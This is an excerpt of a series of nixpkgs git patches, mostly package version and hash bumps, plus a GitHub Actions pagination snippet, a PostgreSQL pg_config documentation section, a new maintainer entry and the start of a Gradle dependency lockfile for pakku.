+                // https://github.com/octokit/plugin-paginate-rest.js/blob/8e5da25f975d2f31dda6b8b588d71f2c768a8df2/src/iterator.ts#L36-L41
+                // `allItems.headers.link` format:
+                //   <https://api.github.com/repositories/4542716/issues?page=3&per_page=100&after=Y3Vyc29yOnYyOpLPAAABl8qNnYDOvnSJxA%3D%3D>; rel="next",
+                //   <https://api.github.com/repositories/4542716/issues?page=1&per_page=100&before=Y3Vyc29yOnYyOpLPAAABl8xFV9DOvoouJg%3D%3D>; rel="prev"
+                // Sets `next` to undefined if "next" URL is not present or `link` header is not set.
+                const next = ((allItems.headers.link ?? '').match(/<([^<>]+)>;\s*rel="next"/) ?? [])[1]
+                if (next) {
+                  cursor = new URL(next).searchParams.get('after')
+                  const uploadPath = path.resolve('cursor')
+                  await writeFile(uploadPath, cursor, 'utf-8')
+                  // No stats.artifacts++, because this does not allow passing a custom token.
+                  // Thus, the upload will not happen with the app token, but the default github.token.
+                  await artifactClient.uploadArtifact(
+                    'pagination-cursor',
+                    [uploadPath],
+                    path.resolve('.'),
+                    {
+                      retentionDays: 1
+                    }
+                  )
+                }
 
                 // Some items might be in both search results, so filtering out duplicates as well.
-                const items = [].concat(updatedItems, allItems)
+                const items = [].concat(updatedItems, allItems.data)
                   .filter((thisItem, idx, arr) => idx == arr.findIndex(firstItem => firstItem.number == thisItem.number))
 
                 ;(await Promise.allSettled(items.map(handle)))

From 0a59b355e35ff9ae4ce50876647a5ade3214f096 Mon Sep 17 00:00:00 2001
From: Matt Sturgeon <matt@sturgeon.me.uk>
Date: Tue, 1 Jul 2025 11:23:34 +0100
Subject: [PATCH 1967/4511] nexusmods-app: run tests in a passthru

Avoid running `dotnet test` in the main package:
- The test-suite is slow
- Some tests fail intermittently
- The package is often uncached; especially the unfree variant

Instead, we can enable tests in a `passthru.tests` override.

(cherry picked from commit 3a661a77f76e64276f9da1c55785ed4af1392fb1)
---
 pkgs/by-name/ne/nexusmods-app/package.nix | 15 ++++++++++++++-
 1 file changed, 14 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/ne/nexusmods-app/package.nix b/pkgs/by-name/ne/nexusmods-app/package.nix
index 35a6aa834ef2..70b90ec17b02 100644
--- a/pkgs/by-name/ne/nexusmods-app/package.nix
+++ b/pkgs/by-name/ne/nexusmods-app/package.nix
@@ -118,7 +118,12 @@ buildDotnetModule (finalAttrs: {
     "--property:DefineConstants=${lib.strings.concatStringsSep "%3B" constants}"
   ];
 
-  doCheck = true;
+  # Avoid running `dotnet test` in the main package:
+  # - The test-suite is slow
+  # - Some tests fail intermittently
+  # - The package is often uncached; especially the unfree variant
+  # - We can enable tests in a `passthru.tests` override
+  doCheck = false;
 
   dotnetTestFlags = [
     "--environment=USER=nobody"
@@ -174,6 +179,14 @@ buildDotnetModule (finalAttrs: {
     runHook postInstallCheck
   '';
 
+  passthru.tests = {
+    # Build the package and run `dotnet test`
+    app = finalAttrs.finalPackage.overrideAttrs {
+      pname = "${finalAttrs.pname}-tested";
+      doCheck = true;
+    };
+  };
+
   passthru.updateScript = nix-update-script { };
 
   meta = {

From 694b7df23a140cca6e787931382bb9a9ce0e7320 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Thu, 3 Jul 2025 13:41:52 +0200
Subject: [PATCH 1968/4511] zipline: set meta.platforms

(cherry picked from commit 547e53c32fa333cadf3291571946181084d3877a)
---
 pkgs/by-name/zi/zipline/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/zi/zipline/package.nix b/pkgs/by-name/zi/zipline/package.nix
index 9cf1f5508e27..1796d221deb1 100644
--- a/pkgs/by-name/zi/zipline/package.nix
+++ b/pkgs/by-name/zi/zipline/package.nix
@@ -121,5 +121,6 @@ stdenv.mkDerivation (finalAttrs: {
     license = lib.licenses.mit;
     maintainers = with lib.maintainers; [ defelo ];
     mainProgram = "zipline";
+    platforms = lib.platforms.linux;
   };
 })

From 56b7f5b37709d5b70aa30c40aa9f48a7f9750a94 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Wed, 2 Jul 2025 11:02:26 +0000
Subject: [PATCH 1969/4511] zipline: 4.1.2 -> 4.2.0

Changelog: https://github.com/diced/zipline/releases/tag/v4.2.0
Diff: https://github.com/diced/zipline/compare/v4.1.2...v4.2.0
(cherry picked from commit 858c3ec499964bb3d3114ef1320d081061e3bb94)
---
 pkgs/by-name/zi/zipline/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/zi/zipline/package.nix b/pkgs/by-name/zi/zipline/package.nix
index 1796d221deb1..22deed18f2c6 100644
--- a/pkgs/by-name/zi/zipline/package.nix
+++ b/pkgs/by-name/zi/zipline/package.nix
@@ -32,18 +32,18 @@ in
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "zipline";
-  version = "4.1.2";
+  version = "4.2.0";
 
   src = fetchFromGitHub {
     owner = "diced";
     repo = "zipline";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-xxe64tGxZ2Udr+p21CKTZCHJ19ZOsdgPLlil+v+j5j4=";
+    hash = "sha256-zm2xNhWghg/Pa9LhLzV+AG/tfiSjAiSnGs8OMnC0Tpw=";
   };
 
   pnpmDeps = pnpm_10.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-O8RLaKff4Dj/JDeUOyf7GtcFcOu/aOuclyaZmVqVi5s=";
+    hash = "sha256-kIneqtLPZ29PzluKUGO4XbQYHbNddu0kTfoP4C22k7U=";
   };
 
   buildInputs = [

From e71d33a4005de0fa589bb5d52f9118a18add4324 Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Sat, 14 Jun 2025 23:02:09 +0200
Subject: [PATCH 1970/4511] redis: 7.2.7 -> 7.2.9

Fixes CVE-2025-27151 and CVE-2025-21605.

Changes:
https://github.com/redis/redis/releases/tag/7.2.9
https://github.com/redis/redis/releases/tag/7.2.8
---
 pkgs/by-name/re/redis/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/re/redis/package.nix b/pkgs/by-name/re/redis/package.nix
index e60ba5c6caff..63aa1d70ccab 100644
--- a/pkgs/by-name/re/redis/package.nix
+++ b/pkgs/by-name/re/redis/package.nix
@@ -25,13 +25,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "redis";
-  version = "7.2.7";
+  version = "7.2.9";
 
   src = fetchFromGitHub {
     owner = "redis";
     repo = "redis";
     rev = finalAttrs.version;
-    hash = "sha256-WZ89BUm3zz6n0dZKyODHCyMGExbqaPJJ1qxLvJKUSDI=";
+    hash = "sha256-CVhA1BU3uUlZzRRO46vTpWXF3QmKaYMVCKYCq0NyQpQ=";
   };
 
   patches = lib.optional useSystemJemalloc (fetchpatch2 {

From 7c976a81ff50425e0133ed62a6ffbe29b3c54d5c Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 3 Jul 2025 10:13:22 +0000
Subject: [PATCH 1971/4511] rundeck-cli: 2.0.8 -> 2.0.9

(cherry picked from commit 3d3647c56b74b8d9c057ddd47335caa0072b1291)
---
 pkgs/by-name/ru/rundeck-cli/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ru/rundeck-cli/package.nix b/pkgs/by-name/ru/rundeck-cli/package.nix
index 2bfb535e08a9..d8eddf44295b 100644
--- a/pkgs/by-name/ru/rundeck-cli/package.nix
+++ b/pkgs/by-name/ru/rundeck-cli/package.nix
@@ -11,11 +11,11 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "rundeck-cli";
-  version = "2.0.8";
+  version = "2.0.9";
 
   src = fetchurl {
     url = "https://github.com/rundeck/rundeck-cli/releases/download/v${finalAttrs.version}/rundeck-cli-${finalAttrs.version}-all.jar";
-    hash = "sha256-mpy4oS7zCUdt4Q+KQPrGGbw6Gzmh1Msygl+NXDmFhDw=";
+    hash = "sha256-c6QAgwyRCtoOlS7DEmjyK3BwHV122bilL6H+Hzrv2dQ=";
   };
 
   nativeBuildInputs = [ makeWrapper ];

From 4c14a6155c24f2e15ec83a00a24a536fc19de27b Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 3 Jul 2025 12:14:31 +0000
Subject: [PATCH 1972/4511] firefly-iii: 6.2.18 -> 6.2.20

(cherry picked from commit 8e6e6562f7d4be322914f0f8c284364614de901c)
---
 pkgs/by-name/fi/firefly-iii/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/fi/firefly-iii/package.nix b/pkgs/by-name/fi/firefly-iii/package.nix
index 172d5445f65b..8aee6939f586 100644
--- a/pkgs/by-name/fi/firefly-iii/package.nix
+++ b/pkgs/by-name/fi/firefly-iii/package.nix
@@ -13,13 +13,13 @@
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "firefly-iii";
-  version = "6.2.18";
+  version = "6.2.20";
 
   src = fetchFromGitHub {
     owner = "firefly-iii";
     repo = "firefly-iii";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-QQlfUbDanyj3n0EOhPxfMqsrl9laQq2CQbwRY4/gH8k=";
+    hash = "sha256-3AFbzalyrdQxPEBuQwJydydh8YaIN9m5XfT2h6Rcd/Y=";
   };
 
   buildInputs = [ php84 ];
@@ -38,13 +38,13 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     composerNoScripts = true;
     composerStrictValidation = true;
     strictDeps = true;
-    vendorHash = "sha256-h/DWKOlffEBWZhdf5iQf4f33IK+1Ie289Oqjb7GHfVY=";
+    vendorHash = "sha256-1tgNR1WXFymIqmTgFRPOvvuondVolT9uil0HDMTEL8Q=";
   };
 
   npmDeps = fetchNpmDeps {
     inherit (finalAttrs) src;
     name = "${finalAttrs.pname}-npm-deps";
-    hash = "sha256-YbMUM+fXIuXVrv7QMlPklct3mDHI05PoOW+fgHf8c3I=";
+    hash = "sha256-FHJVaAWBxZ6IsGT5Sqrfv3yCJC0DPX1SrrLFD70TAFY=";
   };
 
   preInstall = ''

From 879a4ec2b3f9541aedef81370278702dc823d158 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 2 Jun 2025 13:38:41 +0000
Subject: [PATCH 1973/4511] iputils: 20240905 -> 20250602

(cherry picked from commit ae0c7c5ea33e8055789f8b5c40aaac03a13ae16c)
---
 pkgs/os-specific/linux/iputils/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/iputils/default.nix b/pkgs/os-specific/linux/iputils/default.nix
index 7bf1f155b21d..78e83cf43341 100644
--- a/pkgs/os-specific/linux/iputils/default.nix
+++ b/pkgs/os-specific/linux/iputils/default.nix
@@ -16,13 +16,13 @@
 
 stdenv.mkDerivation rec {
   pname = "iputils";
-  version = "20240905";
+  version = "20250602";
 
   src = fetchFromGitHub {
     owner = pname;
     repo = pname;
     rev = version;
-    hash = "sha256-2CjzIOe1hrW3He9DN+w+Wi2zaaMBkVEdA7dezTpkx8I=";
+    hash = "sha256-wJXVGh8KXEp/QXNkfl4B9E+OhiV72Y/JxD0TUEcoZ6A=";
   };
 
   outputs = [

From 57318532017a894209869ed9586a3446f17cdad9 Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Sat, 14 Jun 2025 23:31:19 +0200
Subject: [PATCH 1974/4511] iputils: 20250602 -> 20250605

https://github.com/iputils/iputils/releases/tag/20250605
(cherry picked from commit 2641473ee2fb5172801ea9cab80d1b98620b60cb)
---
 pkgs/os-specific/linux/iputils/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/iputils/default.nix b/pkgs/os-specific/linux/iputils/default.nix
index 78e83cf43341..41e35194e6c7 100644
--- a/pkgs/os-specific/linux/iputils/default.nix
+++ b/pkgs/os-specific/linux/iputils/default.nix
@@ -16,13 +16,13 @@
 
 stdenv.mkDerivation rec {
   pname = "iputils";
-  version = "20250602";
+  version = "20250605";
 
   src = fetchFromGitHub {
     owner = pname;
     repo = pname;
     rev = version;
-    hash = "sha256-wJXVGh8KXEp/QXNkfl4B9E+OhiV72Y/JxD0TUEcoZ6A=";
+    hash = "sha256-AJgNPIE90kALu4ihANELr9Dh28LhJ4camLksOIRV8Xo=";
   };
 
   outputs = [

From d88d36d407eefa11b43f08228e35bfad0fcbb05c Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Wed, 18 Jun 2025 22:50:07 +0200
Subject: [PATCH 1975/4511] postgresql_jdbc: 42.6.1 -> 42.7.7

Fixes CVE-2025-49146.

Changes:
https://github.com/pgjdbc/pgjdbc/blob/REL42.7.7/CHANGELOG.md
(cherry picked from commit b83d41dfea8ef9ece9845e0647fa9eb51eb81d9b)
---
 pkgs/by-name/po/postgresql_jdbc/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/po/postgresql_jdbc/package.nix b/pkgs/by-name/po/postgresql_jdbc/package.nix
index 7b3846cb18df..0e9e057be160 100644
--- a/pkgs/by-name/po/postgresql_jdbc/package.nix
+++ b/pkgs/by-name/po/postgresql_jdbc/package.nix
@@ -6,12 +6,12 @@
 
 stdenv.mkDerivation rec {
   pname = "postgresql-jdbc";
-  version = "42.6.1";
+  version = "42.7.7";
 
   src = fetchMavenArtifact {
     artifactId = "postgresql";
     groupId = "org.postgresql";
-    hash = "sha256-ywd0/X0JsjniHp0Es3RKQId7/0Y6jVjD9AfPfZdsNVc=";
+    hash = "sha256-FXlj1grmbWB+CUZujAzfgIfpyyDQFZiZ/8qWvKJShGA=";
     inherit version;
   };
 

From abf7c8fc686dbb7c3c870d68e12fd71816e75e60 Mon Sep 17 00:00:00 2001
From: transcaffeine <transcaffeine@finally.coffee>
Date: Tue, 1 Jul 2025 17:40:00 +0200
Subject: [PATCH 1976/4511] matrix-synapse: 1.132.0 -> 1.133.0

Release notes: https://github.com/element-hq/synapse/releases/tag/v1.133.0
Full changelog: https://github.com/element-hq/synapse/compare/v1.132.0...v1.133.0

(cherry picked from commit 377932895f1871aa3091d79a21d2700b619f44da)
---
 pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix b/pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix
index 2d39df6708fd..1375a80a3d3b 100644
--- a/pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix
+++ b/pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix
@@ -17,19 +17,19 @@ let
 in
 python3.pkgs.buildPythonApplication rec {
   pname = "matrix-synapse";
-  version = "1.132.0";
+  version = "1.133.0";
   format = "pyproject";
 
   src = fetchFromGitHub {
     owner = "element-hq";
     repo = "synapse";
     rev = "v${version}";
-    hash = "sha256-yKoBYwd2djHAawBJRcbdrJH16+MHpYQnU7h39SvWqYE=";
+    hash = "sha256-SCpLM/4sxE9xA781tgjrNNXpScCQOtgKnZKq64eCay8=";
   };
 
   cargoDeps = rustPlatform.fetchCargoVendor {
     inherit pname version src;
-    hash = "sha256-9VJnn8aPkShqK2wYGFr+S5koIjma7VOr+LkLXwStL1E=";
+    hash = "sha256-qgQU041VlAFFgEg2RhbK6g+aike+HN0FYuvHYtufzW8=";
   };
 
   postPatch = ''

From 85fcc84e6c2a192130a62151df3ba269cf3fdfff Mon Sep 17 00:00:00 2001
From: aleksana <me@aleksana.moe>
Date: Thu, 26 Jun 2025 16:45:54 +0800
Subject: [PATCH 1977/4511] gaphor: fix and standardize schema path

(cherry picked from commit b8b941425ae6b7d06d5fecf3cf998ca76923ceef)
---
 pkgs/by-name/ga/gaphor/package.nix | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ga/gaphor/package.nix b/pkgs/by-name/ga/gaphor/package.nix
index 65e7db2b43b6..eb05f1001a28 100644
--- a/pkgs/by-name/ga/gaphor/package.nix
+++ b/pkgs/by-name/ga/gaphor/package.nix
@@ -64,8 +64,12 @@ python3Packages.buildPythonApplication rec {
     install -Dm644 data/logos/gaphor-24x24.png $out/share/icons/hicolor/24x24/apps/org.gaphor.Gaphor.png
     install -Dm644 data/logos/gaphor-48x48.png $out/share/icons/hicolor/48x48/apps/org.gaphor.Gaphor.png
 
-    install -Dm644 gaphor/ui/installschemas/org.gaphor.Gaphor.gschema.xml -t $out/share/glib-2.0/schemas/
-    glib-compile-schemas $out/share/glib-2.0/schemas/
+    GSCHEMA_PATH=$out/share/gsettings-schemas/$name/glib-2.0/schemas
+    install -Dm644 gaphor/ui/installschemas/org.gaphor.Gaphor.gschema.xml -t $GSCHEMA_PATH
+    glib-compile-schemas $GSCHEMA_PATH
+    substituteInPlace $out/${python3Packages.python.sitePackages}/gaphor/settings.py \
+      --replace-fail 'Gio.SettingsSchemaSource.get_default()' \
+        "Gio.SettingsSchemaSource.new_from_directory('$GSCHEMA_PATH', Gio.SettingsSchemaSource.get_default(), False)"
 
     install -Dm644 data/org.gaphor.Gaphor.service -t $out/share/dbus-1/services/
     substituteInPlace $out/share/dbus-1/services/org.gaphor.Gaphor.service \

From 3bb186f3e28da7db4e1e561d4087609e5b15b8f6 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 3 Jul 2025 09:17:44 +0000
Subject: [PATCH 1978/4511] firefox-devedition-unwrapped: 141.0b4 -> 141.0b5

(cherry picked from commit f0954a63176f2f8e3767506fed42e1da53335bce)
---
 .../browsers/firefox/packages/firefox-devedition.nix          | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
index 25d5b3548680..6b6b5ec013b6 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
@@ -10,13 +10,13 @@
 buildMozillaMach rec {
   pname = "firefox-devedition";
   binaryName = pname;
-  version = "141.0b4";
+  version = "141.0b5";
   applicationName = "Firefox Developer Edition";
   requireSigning = false;
   branding = "browser/branding/aurora";
   src = fetchurl {
     url = "mirror://mozilla/devedition/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "c96fb731ff935176f9dfd8b31693dc49c2eac63e6d5b935fe3ebf1f9d39023bfeb9c9cfa07f4f759dfbd45cf911684b90a810879e412028d35c3ab6ec419b2ba";
+    sha512 = "0bb3da49a048eec25a97de40a1446aab3e737c927d339f1da5025751758d40a518b5c934ff295d8294e98a4f67b7ca9a1e10b3813746048a02d244916220962c";
   };
 
   # buildMozillaMach sets MOZ_APP_REMOTINGNAME during configuration, but

From 75c09c8724930ee0b3d7a988628810df7d966538 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Thu, 3 Jul 2025 17:00:37 +0000
Subject: [PATCH 1979/4511] firefox-beta-unwrapped: 141.0b4 -> 141.0b5

(cherry picked from commit 7de41892091f45a417908ae6f6c0e021d0120bec)
---
 .../networking/browsers/firefox/packages/firefox-beta.nix     | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
index 5646485d61e0..aa891ae96ece 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
@@ -10,11 +10,11 @@
 buildMozillaMach rec {
   pname = "firefox-beta";
   binaryName = pname;
-  version = "141.0b4";
+  version = "141.0b5";
   applicationName = "Firefox Beta";
   src = fetchurl {
     url = "mirror://mozilla/firefox/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "89a5e3fdc7fa3ec7ba91930baea05f231354c2b2f44d6b3cb82e15575a5a05812ef6eda29605ce652a72145733d2bd7cd84e22942e566e0434b0fed116922e0b";
+    sha512 = "1b77e890ea06e0ea468fc65a3f19e9b3e5c9881aa64bf4276911a1fe7d1c1c887e3a59be4a54bce8f29b705a09c2ada723d189cbead107a80cfa4dd48fa7fab9";
   };
 
   meta = {

From fda50d6f3a309fbc17aac5dc77c15785a6c7bae2 Mon Sep 17 00:00:00 2001
From: Maximilian Bosch <maximilian@mbosch.me>
Date: Tue, 1 Jul 2025 16:29:22 +0200
Subject: [PATCH 1980/4511] nixos/postgresql: add section about pg_config

See https://discourse.nixos.org/t/i-cannot-for-the-life-of-me-find-the-package-that-has-pg-config/66244/4

I decided against doing this in its own nixpkgs manual: the line
to draw is quite blurry already (e.g. we have documented our package
removal policy in here as well) and having to check two manuals for a
single subsystem feels pretty annoying to me.

The relevant part - where to find pg_config - is written at the top. I
decided to give a bit more context about the way our packaging works
since I realized a few times now that I don't remember all the details
about the problems we had in the past and having to look up individual
commit messages for that isn't very productive.

(cherry picked from commit e031c5ff6b49c208fccdd701b448da7ae36afd3d)
---
 nixos/doc/manual/redirects.json               |  3 +++
 .../modules/services/databases/postgresql.md  | 22 +++++++++++++++++++
 2 files changed, 25 insertions(+)

diff --git a/nixos/doc/manual/redirects.json b/nixos/doc/manual/redirects.json
index 4b0c67e6603e..94b010392ea3 100644
--- a/nixos/doc/manual/redirects.json
+++ b/nixos/doc/manual/redirects.json
@@ -1301,6 +1301,9 @@
   "module-services-postgres-authentication-user-mapping": [
     "index.html#module-services-postgres-authentication-user-mapping"
   ],
+  "module-services-postgres-pg_config": [
+    "index.html#module-services-postgres-pg_config"
+  ],
   "module-services-postgres-upgrading": [
     "index.html#module-services-postgres-upgrading"
   ],
diff --git a/nixos/modules/services/databases/postgresql.md b/nixos/modules/services/databases/postgresql.md
index a83918efc7cc..41e42d911947 100644
--- a/nixos/modules/services/databases/postgresql.md
+++ b/nixos/modules/services/databases/postgresql.md
@@ -301,6 +301,28 @@ Thus:
 
 This leaves a small gap of a couple of weeks after the latest minor release and the end of our support window for the .05 release, in which there could be an emergency release to other major versions of PostgreSQL - but not the oldest major we have in that branch. In that case: If we can't trivially patch the issue, we will mark the package/version as insecure **immediately**.
 
+## `pg_config` {#module-services-postgres-pg_config}
+
+`pg_config` is not part of the `postgresql`-package itself.
+It is available under `postgresql_<major>.pg_config` and `libpq.pg_config`.
+Use the `pg_config` from the postgresql package you're using in your build.
+
+Also, `pg_config` is a shell-script that replicates the behavior of the upstream `pg_config` and ensures at build-time that the output doesn't change.
+
+This approach is done for the following reasons:
+
+* By using a shell script, cross compilation of extensions is made easier.
+
+* The separation allowed a massive reduction of the runtime closure's size.
+  Any attempts to move `pg_config` into `$dev` resulted in brittle and more complex solutions
+  (see commits [`0c47767`](https://github.com/NixOS/nixpkgs/commit/0c477676412564bd2d5dadc37cf245fe4259f4d9), [`435f51c`](https://github.com/NixOS/nixpkgs/commit/435f51c37faf74375134dfbd7c5a4560da2a9ea7)).
+
+* `pg_config` is only needed to build extensions or in some exceptions for building client libraries linking to `libpq.so`.
+  If such a build works without `pg_config`, this is strictly preferable over adding `pg_config` to the build environment.
+
+  With the current approach it's now explicit that this is needed.
+
+
 ## Options {#module-services-postgres-options}
 
 A complete list of options for the PostgreSQL module may be found [here](#opt-services.postgresql.enable).

From 681db94ecd1fd595f99873da8c6065e4e030e8a0 Mon Sep 17 00:00:00 2001
From: Redlonghead <git@beardit.net>
Date: Sat, 28 Jun 2025 12:57:29 -0500
Subject: [PATCH 1981/4511] maintainers: add redlonghead

(cherry picked from commit 66df66ab2d8733a58bf6147af846809a0bb7bbbe)
---
 maintainers/maintainer-list.nix | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index d7f39c64b9df..9c6a6fff1424 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -20648,6 +20648,12 @@
     githubId = 77415970;
     name = "Redhawk";
   };
+  redlonghead = {
+    email = "git@beardit.net";
+    github = "Redlonghead";
+    githubId = 52263558;
+    name = "Connor Beard";
+  };
   redvers = {
     email = "red@infect.me";
     github = "redvers";

From 12f5e84b77632be27ce19e000469d0799d21c96b Mon Sep 17 00:00:00 2001
From: Redlonghead <git@beardit.net>
Date: Sat, 28 Jun 2025 13:04:05 -0500
Subject: [PATCH 1982/4511] pakku: init at 1.2.1

(cherry picked from commit 56457dba070b71a36732248dc5188cc934fe239c)
---
 pkgs/by-name/pa/pakku/deps.json   | 1415 +++++++++++++++++++++++++++++
 pkgs/by-name/pa/pakku/package.nix |   93 ++
 2 files changed, 1508 insertions(+)
 create mode 100644 pkgs/by-name/pa/pakku/deps.json
 create mode 100644 pkgs/by-name/pa/pakku/package.nix

diff --git a/pkgs/by-name/pa/pakku/deps.json b/pkgs/by-name/pa/pakku/deps.json
new file mode 100644
index 000000000000..5bc45841cef9
--- /dev/null
+++ b/pkgs/by-name/pa/pakku/deps.json
@@ -0,0 +1,1415 @@
+{
+ "!comment": "This is a nixpkgs Gradle dependency lockfile. For more details, refer to the Gradle section in the nixpkgs manual.",
+ "!version": 1,
+ "https://plugins.gradle.org/m2": {
+  "com/google/cloud/tools#jib-gradle-plugin/3.4.4": {
+   "jar": "sha256-cqDDT5QY2fLR1vXSBQLH0tL1Zg7+RPjrtrT49gnJqO8=",
+   "module": "sha256-W2/LjrncnTBE1CI0KF6PsSODRyjgRD6hZlI7OttLU1g=",
+   "pom": "sha256-+yPxgyUEIjG6nAVrdIoAekad/rnsEiBXdGFImTXP+fQ="
+  },
+  "io/ktor/plugin#io.ktor.plugin.gradle.plugin/3.1.0": {
+   "pom": "sha256-VDDWqAVZcQ16u/QnjQsm21cLzVtcjFBLUrYwn8FFI4M="
+  },
+  "io/ktor/plugin#plugin/3.1.0": {
+   "jar": "sha256-pVfGVSkKKouFmp16QEOdUzO8c6dCDSiI4LKO7AHQNXE=",
+   "module": "sha256-Kw5Y77ID/Hp6hchGhvo71n5/98/oWdV9oS+JKOh83Tg=",
+   "pom": "sha256-UKKVx1tSKtreQPeIX5qyJGw+YUKKhUQnHlWz1fhubTI="
+  },
+  "org/gradle/toolchains#foojay-resolver/0.5.0": {
+   "jar": "sha256-UxYINJpuXWsFOHaxHcHBmH0LAS1kLP/bKOOAMuXn+Bs=",
+   "module": "sha256-JLVV+EVrjBDljbM8qLvJmOZnk/KY6SjgAzDPD74ySZ4=",
+   "pom": "sha256-gk6IGdaFWBkX62IRkEsD8YFSJHM4vF3yMaPCUUOCErA="
+  },
+  "org/gradle/toolchains/foojay-resolver-convention#org.gradle.toolchains.foojay-resolver-convention.gradle.plugin/0.5.0": {
+   "pom": "sha256-jLnbP0b+vVsPmB9eHODk+L/+dMHjdQTBuiLWs1gj3Tc="
+  }
+ },
+ "https://repo.maven.apache.org/maven2": {
+  "com/christophsturm#filepeek/0.1.3": {
+   "jar": "sha256-5gAIvGr37XcijRrgKZi7d1tZ4eVAD9RTX6f3h70Fcek=",
+   "module": "sha256-aVLYqag5KZQRR3S7NpeCA+dWB0sXb0YTmdNoA8/xHyw=",
+   "pom": "sha256-OHZb5FOw/JpDAQe7Q80a3oH9aAzclXrF29QrEW/JXpc="
+  },
+  "com/fasterxml#oss-parent/38": {
+   "pom": "sha256-yD+PRd/cqNC2s2YcYLP4R4D2cbEuBvka1dHBodH5Zug="
+  },
+  "com/fasterxml#oss-parent/41": {
+   "pom": "sha256-r2UPpN1AC8V2kyC87wjtk4E/NJyr6CE9RprK+72UXYo="
+  },
+  "com/fasterxml#oss-parent/50": {
+   "pom": "sha256-9dpV3XuI+xcMRoAdF3dKZS+y9FgftbHQpfyGqhgrhXc="
+  },
+  "com/fasterxml#oss-parent/58": {
+   "pom": "sha256-VnDmrBxN3MnUE8+HmXpdou+qTSq+Q5Njr57xAqCgnkA="
+  },
+  "com/fasterxml/jackson#jackson-base/2.12.7": {
+   "pom": "sha256-F55U/ibI1N/pJf7jHUqH0cwl+LfgCUik5laxIp4rdq4="
+  },
+  "com/fasterxml/jackson#jackson-base/2.15.2": {
+   "pom": "sha256-gR/6GyOZVv1RJTfuvYgQ1VyolIEV6utr7RN0OVsWEYI="
+  },
+  "com/fasterxml/jackson#jackson-bom/2.12.7": {
+   "pom": "sha256-GVVDL22K8ygG2C2CGP7f5L47s+I9WadNgUSf/HS/e9E="
+  },
+  "com/fasterxml/jackson#jackson-bom/2.15.2": {
+   "pom": "sha256-Hq1jAlXEiMUbXgq1YMdsI3GtJq422t8JKcUmVy6ls4s="
+  },
+  "com/fasterxml/jackson#jackson-bom/2.17.2": {
+   "pom": "sha256-H0crC8IATVz0IaxIhxQX+EGJ5481wElxg4f9i0T7nzI="
+  },
+  "com/fasterxml/jackson#jackson-parent/2.12": {
+   "pom": "sha256-YqocFnmt4J8XPb8bbDLTXFXnWAAjj9XkjxOqQzfAh1s="
+  },
+  "com/fasterxml/jackson#jackson-parent/2.15": {
+   "pom": "sha256-bN+XvGbzifY+NoUNL1UtEhZoj45aWHJ9P2qY7fhnXN4="
+  },
+  "com/fasterxml/jackson#jackson-parent/2.17": {
+   "pom": "sha256-rubeSpcoOwQOQ/Ta1XXnt0eWzZhNiSdvfsdWc4DIop0="
+  },
+  "com/fasterxml/jackson/core#jackson-annotations/2.12.7": {
